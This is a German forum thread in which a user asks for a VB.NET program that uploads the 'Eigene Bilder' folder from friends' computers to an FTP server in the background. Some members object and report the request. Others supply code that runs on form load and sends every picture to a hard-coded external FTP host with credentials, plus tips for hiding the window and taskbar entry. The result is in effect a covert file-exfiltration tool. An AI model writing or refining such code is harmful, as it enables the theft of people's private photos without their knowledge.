Visual Basic - FTP - Eigene Bilder Ortner hochladen

[Sypher]

Hey Leute,

ich würde gerne meinen Freunden erleichtern die letzten Ferienbilder auszutauschen. Ich dachte daran an ein Programm der alle Eigenen Bilder auf ein FTP Server hochläd.

1. Upload auf ein FTP Server
2. Mit einem Relativen Pfad, so das sie nicht ihren Eigenen Bilder Ortner extra angeben müssen
3. Der FTP Upload im hintergrund läuft, da es manchmal ziemlich viele bilder sind.

Könnte mir jemand so ein Source Code schreiben? Wäre Dankbar dafür

[Apex]

Dir wird hier sicherlich niemand einen Source in den Arsch stecken. Du wirst hier lediglich irgendwelche Tipps und gelegentlich Fragen beantwortet kriegen aber das wars dann auch. Das hier ist ein Anfängerboard bei dem geholfen wird, den Leuten im spezialisierten Gebiet etwas beizubringen.

[Th3_Cr4xX]

Deshalb gilt ab sofort folgendes:

• Anfragen nach fertigen Quellcodes werden grundsätzlich gelöscht.

Regelupdate

~reported~

[<~Engel~>]

Ist ziehmlich einfach wen man Vb.Net kann ^^

Benötigt
3 x Textbox
[Textbox1 = Server Name ]
[Textbox2 = Username ]
[Textbox3 = Passwort ]

1 X Button
Code für Button1

  Dim Server As String = TextBox1.Text
        Dim Username As String = TextBox2.Text
        Dim Password As String = TextBox3.Text
        Dim Folder As String = "C:\Users\" & Environment.UserName & "\Pictures"
        For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
            Dim FileName As String = IO.Path.GetFileName(Files)
            My.Computer.Network.UploadFile(Folder & "\" & FileName, Server & FileName, _
                                           Username, Password)
        Next

mfg.
<~Engel~>

[Th3_Cr4xX]

Du kannst VB.NET aber auch nicht da du das aus der Vb Tut Section kopiert hast xD

[Sypher]

Ist ziehmlich einfach wen man Vb.Net kann ^^

Benötigt
3 x Textbox
[Textbox1 = Server Name ]
[Textbox2 = Username ]
[Textbox3 = Passwort ]

1 X Button
Code für Button1

  Dim Server As String = TextBox1.Text
        Dim Username As String = TextBox2.Text
        Dim Password As String = TextBox3.Text
        Dim Folder As String = "C:\Users\" & Environment.UserName & "\Pictures"
        For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
            Dim FileName As String = IO.Path.GetFileName(Files)
            My.Computer.Network.UploadFile(Folder & "\" & FileName, Server & FileName, _
                                           Username, Password)
        Next

mfg.
<~Engel~>

Vielen Vielen Dank.

Ich benutze WinXP und bei mir gibt er folgenden Fehler aus:

"Eine Ausnahme (erste Chance) des Typs "System.IO.DirectoryNotFoundException" ist in mscorlib.dll aufgetreten."

Ein Teil des Pfades "C:\Users\Fabrice\Pictures\" konnte nicht gefunden werden.

[<~Engel~>]

Dann schreib einfach den Pfad hin so wie er auf deinem Pc ist (habe Vista daher wohl der Fehler.)
Also
Dim Folder As String = "Dein Pfad zum Bilder Ordner"

[Sypher]

Funktioniert aber auch nicht:

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim Folder As String = "C:\Users\" & Environment.UserName & "\Pictures"
        Dim Folder1 As String = "C:\Dokumente und Einstellungen\" & Environment.UserName & "\Eigene Dateien\Eigene Bilder"
        For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
            Dim FileName As String = IO.Path.GetFileName(Files)
            My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
                                           "trustedp", "****")
        Next

        For Each Files As String In My.Computer.FileSystem.GetFiles(Folder1)
            Dim FileName As String = IO.Path.GetFileName(Files)
            My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
                                           "trustedp", "****")
        Next

    End Sub
End Class

[j0.keR]

Schlimm dass hier so viele rumbetteln müssen google.de ? oder hier die SUfu meine fresse regt mich sowas auf .... und c&p bringt dich auf keinenfall weiter !

Funktioniert aber auch nicht:

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim Folder As String = "C:\Dokumente und Einstellungen\"  & Environment.UserName & "\Eigenen Dateien\Eigene Bilder"
        Dim Folder1 As String = "C:\Dokumente und Einstellungen\" & Environment.UserName & "\Eigene Dateien\Eigene Bilder"
        For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
            Dim FileName As String = IO.Path.GetFileName(Files)
            My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
                                           "trustedp", "****")
        Next

        For Each Files As String In My.Computer.FileSystem.GetFiles(Folder1)
            Dim FileName As String = IO.Path.GetFileName(Files)
            My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
                                           "trustedp", "****")
        Next

    End Sub
End Class

Hast dir den Code nicht angeschaut ... und ich prog nichtmal in vb.net ! Andere Frage warum haste heir 2 Folderś drinn wenn in deinem Post die Rede von nur einem ist ?

Und hier noch zu deiner anderen Frage :

Im Hintergrund laufen : me.visible = False
Visible in Taskbar = Flase !


Und falls es dann immernochnicht Klappt schreibste mich in ICQ an !

[Apex]

1. Schlimm das man Copy & Paste benutzt ohne den Sinn des Codes zu sehen, ansonsten hättest du den Fehler selber finden können.
2. Wahrscheinlich bist du dann noch so jemand, der vor seinen Freunden angibt "Schau mal hab ich ganz alleine gecodet"
3. Moderator close bitte. Verstößt gegen die Boardregeln.
4. reported